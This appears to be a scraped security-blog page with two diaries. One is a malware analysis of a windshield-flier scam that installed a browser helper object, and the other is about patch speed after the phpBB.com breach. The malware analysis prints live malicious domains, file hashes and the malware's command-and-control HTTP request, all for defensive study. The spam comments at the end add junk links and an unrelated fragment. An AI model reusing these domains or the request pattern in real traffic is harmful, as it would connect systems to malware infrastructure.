Malware infection that began with windshield fliers
I had the opportunity to examine malware whose initial infection vector was a car windshield flier with a website address. The malicious programs were run-of-the-mill; however, the use of fliers was an innovative way of social-engineering potential victims into visiting a malicious website.
Several days ago, yellow fliers were placed on the cards in Grand Forks, ND. They stated:
PARKING VIOLATION This vehicle is in violation of standard parking regulations. To view pictures with information about your parking preferences, go to website-redacted
If you went to the website, you'd see several photos of cars on parking lots in that specific town, including:
EXIF data in JPG files shows that they were edited using Paint Shop Pro Photo 12 to remove license plate details of the cars and that the photos were taken using a Sony DSC-P32 camera.
Installing PictureSearchToolbar.exe led to DNS queries for childhe.com, a domain with a bad reputation according to Symantec, McAfee, etc. Even without the Internet connection, the program installed (extracted) a DLL into C:\WINDOWS\system32. The name was random, such as tuvwwUlj.dll and iifdbCVn.dll. The MD5 of the DLL was 5f7e6f158592f0a5036d79cc63388d29.
PictureSearchToolbar.exe was deleted via the following batch file, whichw as created in the %Temp% folder and left behind. The file name (e.g., awttsqQG.bat) and labels were likely random:
@echo off
:jkkHXRkJ
del %1
if exist %1 goto jkkHXRkJ
rem wvUoPhICgeBqNhgHhgGxVPFUtuvVNFYrxxyxVoOHfccyyyWo
The malicious DLL was installed as an Internet Explorer Browser Helper Object (BHO) once the system is rebooted.
If the DLL could resolve childhe.com, then it issueed the following HTTP request to it on port 80:
GET /pas/apstpldr.dll.html?affid=177194&uid=&guid=4E83C7975FCD44B091226646F461D891
HTTP/1.1
Accept: */*
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
Host: childhe.com
Connection: Keep-Alive
"affid" didn't seem to change; it was probably the tracker ID for who should be getting paid or for how the campaign was working. "guid" seems to change across experiments. User-Agent was probably the actual User-Agent that was used on the infected system.
The request retrieved a malicious DLL, apstpldr.dll (MD5 4a56334f3f65d45d90aa15c1bd2f3484). It is a known malicious DLL; for an overview of one of its variants (a different MD5 sum), see the ThreatExpert report.
The apstpldr.dll file was packed with generic UPX. Unpacked MD5 abf04d02a97aa95e41a269c84261947e. Once the system was rebooted, the BHO was installed. The BHO seemed to wait for the user to browse the Internet a bit, and then brings up a pop-up with a fake security alert:
The victim was then redirected to http://bestantispy waresecurityscan.com/promo/1/freescan.php?nu=770522177194 and presented with additional fake infection warnings.
The victim was then asked to install a fake anti-virus scanner (MD5 2cb4ebb20e3178b6d8cbba95032da353). A few anti-virus companies detect this as a dropper; see the VirusTotal report.
GET /windowsupdate/v6/thanks.aspx HTTP/1.1
User-Agent: Mozilla
Host: update.microsoft.com
Cache-Control: no-cache
That's when I ran out of time, and decided not to continue following the infection trail.
So there you have it, folks. The initial program installed itself as a browser helper object (BHO) for Internet Exploter that downloaded a component from childhe.com and attempted to trick the victim into installing a fake anti-virus scanner from bestantispyware securityscan.com and protectionsoft warecheck.com.
Attackers continue to come up with creative ways of tricking potential victims into installing malicious software. Merging physical and virtual worlds via objects that point to websites is one way to do this. I imagine we'll be seeing such approaches more often. If you have seen other examples like this, let us know.
Liked this? Post it to Twitter!
-- Lenny
Lenny Zeltser - Security Consulting
Lenny teaches malware analysis at SANS Institute. You're welcome to follow him on Twitter. You can also track new Internet Storm Center diaries by following ISC on Twitter.
On the importance of patching fast
Patching
Every month we create an overview of the patches released by Microsoft on black Tuesday. Over the years we learned that our readers like to have our idea of what to patch more urgently than what else, mainly due to them getting burned with patches that broke other stuff.
While I create many of those overviews with very important help behind the scenes of the rest of the handlers, the cycle we collectively implement to delay patching is something that keeps me concerned as it might very well be just not fast enough. Personally, I think we might need to evolve our re-testing (the vendor already tested) of patches to be far more lean and mean.
Especially since the amount of feedback we get on a monthly basis of the Microsoft patches causing trouble dwindled to a very tiny amount of really minor issues, I feel we have helped build a too heavy process in many organizations that results in patches being deployed rather slowly. Perhaps too slow, see the cautionary tale below.
PHPList
PHPList is an open-source newsletter manager. It is written in php. On January 29th 2009 they posted a software update. "[The update] fixes a local file include vulnerability.This vulnerability allows attackers to display the contents of files on the server, which can aid them to gain unauthorised access".
They also included a one-line workaround if you could not patch fast enough.
UPDATE: An exploit against this vulnerability was published and used in the wild on Jan 14th 2009, 2 weeks before the patch was issued.
pbpBB
phpBB Is an open-source bulletin board software. It is written in php as well, but product-wise the relation with PHPlist stops there.
UPDATED: please read the updated details below as well, they change the basic setting of this significantly. Instead of just erasing this, please see it as a fictional story that might have happened and has some useful things to learn from it regardless of facts catching up us. The events to the best of our knowledge are under the update heading below.
The www.phpBB.com server however had the PHPlist software installed and February 1st 2009 -merely 3 days later-, they got hit by an attack against PHPlist.
The attack was not only successful, but the attackers got hold of the list of email addresses in the phpBB announcement list, the encrypted passwords of all of the users of the phpBB forum on phpBB.com, and published that.
While the phpBB software was not the path the attackers followed to get on the server, the impact is for all users of phpBB.com's forum and mailing lists, many of them being administrators of phpBB installations. Let's hope they do not use the same login/password combination elsewhere.
Learn lessons
We can either learn from falling our selves, and standing up again, or we can try to be a bit smarter and also learn from what made others fall.
How long would your organization have taken to have a roll-out of a patch released on Thursday? Would it have been implemented on all servers well before Sunday?
Are we ready to patch in less than 3 days time, even if that includes a weekend? If not, we might need to accelerate things:
- How do we find out about patches being available ? Make sure we're warned for all software we use!
- How to we test (if we test?) and validate we're going to implement it in production? Even if it is a weekend?
- How do we choose between the turn-around times of a workaround vs. that of a full patch ?
The odds in this game are high. All the attacker has to do is find a single hole. While it's our job to fix them all. Moreover the reputation of our respective organizations depends on our success at staying safe and ahead of all the attackers.
Update
We're been given additional information regarding the incident above, changing the story above quite a bit.
- The story didn't begin on Jan 29th as noted above, but quite a bit earlier.
- On Jan 14th an exploit was made public on one of the well known exploit publishing sites against phplist
- That exploit was used against www.phpBB.com's instance of phplist on Jan 14th.
- So in essence the this break-in was done well before there was a patch available (a so-called "0-day")
This also means the lessons above -while still very valid lessons to learn, it could have been true aren't derived from a real set of events, and need to be expanded with far harder things:
- Do you know if the software you have deployed has publicly known exploits against it? How do you find out?
- Can you keep track of vulnerabilities in software you use and make sure they all get a timely patch?
- When do you switch tactics on waiting for a software vendor/maker to issue a patch and start to do something yourself?
These are very, very hard questions to ask. A lot of trust in suppliers of software is put in the balance if you try to answer these questions.
- How do you detect break-ins that only steal information ?
The answer to this is a basically the answer to the need for a "detect loss of confidentiality" control. The most common solution to this is to monitor the access to the information for anomalies, but even then it's by far not easy to get this right without a lot of false positives or the risk of true negatives.
--
Swa Frantzen -- Section 66
Comments
Anonymous
Dec 3rd 2022
9 months ago
Anonymous
Dec 3rd 2022
9 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
Anonymous
Dec 26th 2022
9 months ago
Anonymous
Dec 26th 2022
9 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
9 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
9 months ago
Anonymous
Dec 26th 2022
9 months ago
https://defineprogramming.com/
Dec 26th 2022
9 months ago
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
https://defineprogramming.com/
Dec 26th 2022
9 months ago
rthrth
Jan 2nd 2023
8 months ago